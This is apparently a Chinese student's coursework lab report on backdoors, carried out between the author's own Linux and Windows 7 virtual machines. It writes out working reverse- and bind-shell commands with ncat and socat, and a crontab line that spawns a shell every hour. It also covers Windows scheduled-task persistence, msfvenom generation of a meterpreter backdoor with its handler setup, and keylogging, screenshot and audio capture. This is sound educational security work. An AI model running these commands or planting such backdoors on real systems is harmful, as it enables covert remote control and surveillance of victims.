Exp2 后门原理与实践

准备工作

1. 查看Linux和Win的IP地址,ping通
  • Linux地址

    Win7地址

  • ping

2.下载ncat并装载到win7主机
3.下载socat并装载到win7主机

使用netcat获取主机操作Shell,cron启动

Linux获得win7 Shell

  • linux作为攻击方,win7作为靶机
  • linux打开8125端口,开始监听
nc -l -p 8125
  • win7反弹链接Linux
ncat.exe -e cmd.exe 192.168.72.130 8125     //-e filename:连接后执行该文件
  • linux下看到win7的命令提示

Win7获得Linux Shell

  • win7作为攻击方,Linux作为靶机
  • win7使用ncat,监听端口5218
ncat.exe -l -p 5218  //-l:设置监听模式,-p:端口

  • Linux反弹连接win7
ncat 192.168.72.116 5218 -e /bin/sh
  • win7下获得一个linux shell,可运行任何指令

Cron启动

什么是crontab

cron是linux下的定时执行工具。crontab是使用cron的命令,该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。

简单理解了一下就是写一个程序,可以规定哪年哪月哪日什么时间、或者一个周期(年、月、日、周、小时)内的具体时间执行一个命令。由于cron是每分钟运行一次,所以可以具体到分钟。指令格式如下:

crontab指令基本格式 : 

*  *  *  *  *  command 

分 时 日 月 周 命令 

第1列表示分钟1~59 每分钟用*或者 */1表示 

第2列表示小时1~23(0表示0点) 

第3列表示日期1~31 

第4列表示月份1~12 

第5列标识号星期0~6(0表示星期天) 

第6列要运行的命令 

实验步骤
  • win7下打开监听,监听端口5218
ncat.exe -l -p 5218
  • linux下
crontab -e     // crontab指令增加一条定时任务,"-e"表示编辑
no crontab for root - using an empty one Select an editor. To change later, run 'select-editor'.
1. /usr/bin/vim.gtk
2. /bin/nano <---- easiest
3. /usr/bin/vim.basic
4. /usr/bin/mcedit
5. /usr/bin/vim.tiny Choose 1-5 [2]: 3 //选择编辑器3

  • (根据前文crontab格式)修改最后一行指令
55 * * * * nc 192.168.72.116 5218 -e/bin/sh
//当时是51分,设置为55分便于观察结果

  • 静静等待~
  • win7下获得Linux shell

使用socat获取主机操作Shell, 任务计划启动

socat是什么

socat的介绍与使用

实验步骤

  • win7下打开计算机管理->任务计划程序->创建任务

  • 输入任务名,新建触发器,这里第一次做的时候我没有设置触发器,所以任务不启动

  • 新建操作,在“程序或脚本”内添加拷贝好的socat.exe路径,在添加参数一栏写入

tcp-listen:5218 exec:cmd.exe,pty,stderr
//监听5218端口
//把cmd.exe绑定到端口5218

  • linux下,输入
socat - tcp:192.168.72.116:5218 //这个命令等同于nc 192.168.72.116 5218
  • 到了设置好的触发时间后,即可获得win7的cmd

并不是监听端一定是攻击方,反弹连接的也不一定就是靶机。在双方的连接过程中,谁绑定了shell,谁就暴露了shell,就会被对方获得。


使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

什么是meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。

实验步骤

  • Linux下,生成后门程序
msfvenom  -p windows/meterpreter/reverse_tcp LHOST192.168.72.130 LPORT=5218 -f exe > bd5218.exe
//控制端ip

  • 利用ncat传输文件到系统
/*win7*/
ncat.exe -l 5218 > bd5218.exe
/*linux*/
nc 192.168.72.116 5218 < bd5218.exe

传输成功

  • msfconsole linux下进入msf控制台(据说每次进入图案都不一眼,我这是什么?小幽灵吗!)

/*开启监听模块,设置payload*/
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp /*设置反弹回连的ip和端口*/
set LHOST 192.168.72.130
set LPORT 5218 /*执行监听*/
exploit

  • win7下运行后门程序,
bd5218.exe

可以看到linux已经获得了win7的shell


使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 通过help命令可以查看meterpreter能够实现的功能,有好多!

  • 尝试截屏

  • 击键记录,这里我是没有在任何文件内输入直接瞎敲的,居然也记录下来了,真的可怕∑(っ°Д°;)っ

  • 音频录制,-d设置时间

提权

  • 开始不太懂,去百度了一下“提权”是什么(其实看完了还是有点懵):

提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。

  • 看了这些好像明白了

就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。


基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

从网上下载一些来源不可靠的文件,或者点进去一个挂马网站?

(2)例举你知道的后门如何启动起来(win及linux)的方式?

开机自启动,或者伪装成一个正常的程序,用户就中招了

(3)Meterpreter有哪些给你映像深刻的功能?
  • uictl指令还挺令我印象深刻的,如果自己的电脑出了这种问题应该会慌得不行吧
/*开启或禁止键盘/鼠标*/
uictl [enable/disable] [keyboard/mouse/all] uictl disable keyboard //Σσ(・Д・;)键盘不能用了!
uictl disable mouse //了∑(っ°Д°;)っ鼠标也不能用!
uictl enable all //赶紧打开打开……

  • 还有这个
Stdapi: Audio Output Commands
============================= Command Description
------- -----------
play play an audio file on target system, nothing written on disk

感觉好像有点好玩,但还没做出来,虽然显示了“正在播放”,但是win7上没声音,哭辽

(4)如何发现自己有系统有没有被安装后门?

感觉杀毒软件还是蛮可靠的,然后就平常不要去不正规的网站乱下东西就行

放到自己主机上立刻给我查出来了


实验总结与体会

感觉这次实验做起来还是蛮有趣的,但同时也让我意识到了系统安全的重要性,meterpreter功能这么强大,不也意味着自己的电脑一旦被植入了后门,后果的严重性吗?完全就是待宰的羔羊了,人家想干嘛干嘛,想看什么看什么,没有丝毫隐私可言了


问题与解决

  • Question1

    • 开始使用ipconfig查询win7的地址是,显示是10.1.1.116,无法与Linux主机ping通

    • 将Win7的ip地址修改到与Linux同一网段即可

20165218 《网络对抗技术》Exp2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. 4. 为HelloWorld添加日志

    回顾 通过上篇内容,我们已经使用flask编写了我们的第一个接口或者说是html页面.我们可以看到,使用flask来编写接口/页面是十分简单的.那么接下来,我们丰富一下上面的例子. 需求 现在的需求来 ...

  2. Java non-javadoc

    Java注释 non-javadoc 表示该处没有自己的注释, @see javax.servlet.Servlet#init() 参考see后面的链接 /* * (non-javadoc) * @s ...

  3. php从入门到放弃系列-04.php页面间值传递和保持

    php从入门到放弃系列-04.php页面间值传递和保持 一.目录结构 二.两次页面间传递值 在两次页面之间传递少量数据,可以使用get提交,也可以使用post提交,二者的区别恕不赘述. 1.get提交 ...

  4. jenkins设置定时任务

    每次都手动的构建项目显然不够方便,有时候需要定时地执行自动化测试脚本.例如,每天晚上定时执行 pjenkins.py 文件来运行自动化测试项目. 设置定时任务 前面已经创建的 “python test ...

  5. static和final

    是静态修饰符,什么叫静态修饰符呢?大家都知道,在程序中任何变量或者代码都是在编译时由系统自动分配内存来存储的,而所谓静态就是指在编译后所分配的内存会一直存在,直到程序退出内存才会释放这个空间,也就是只 ...

  6. 个人作业2——APP案例分析

    产品:网易LOFTER(乐乎)   网易LOFTER是网易旗下图片社交APP,产品覆盖web及移动各端. 网易LOFTER社区内汇聚了多领域的品质生活家与生活达人,包含女神.明星.穿搭.文具.旅行.美 ...

  7. Eclipse下使用Git

    安装Git 有的eclipse已经自带了Git了,就不用安装了. 如果,想重新安装,可以先卸载git,卸载 不同eclipse卸载不一样: 1.在Eclipse中依次点击菜单"Help&qu ...

  8. BUAA软工个人作业Week2-代码复审

    一. 代码复审Check List 1.概要部分 代码能符合需求和规格说明么? 对-c的测试: 可以看到程序不支持1000000的数独终局输出,读源码发现常量MaxCounts定义为了100000,导 ...

  9. GS7 使用IPV6的数据库的注册方法

    1. 首先保证 应用服务器和数据库服务器能够互相ping通 可以创建一个 bat 文件里面放上如下内容进行连接. start ping fe80::b0d4:::f3c5 -t start ping ...

  10. 删除log日志中包含某个字符的行

    sed -i '/{Str}/d' abc.txt 假如你的log日志中某行有sleep字符,直接输入命令: sed -i '/sleep/d' log.log 如果删除的是一个变量的值,假如是var ...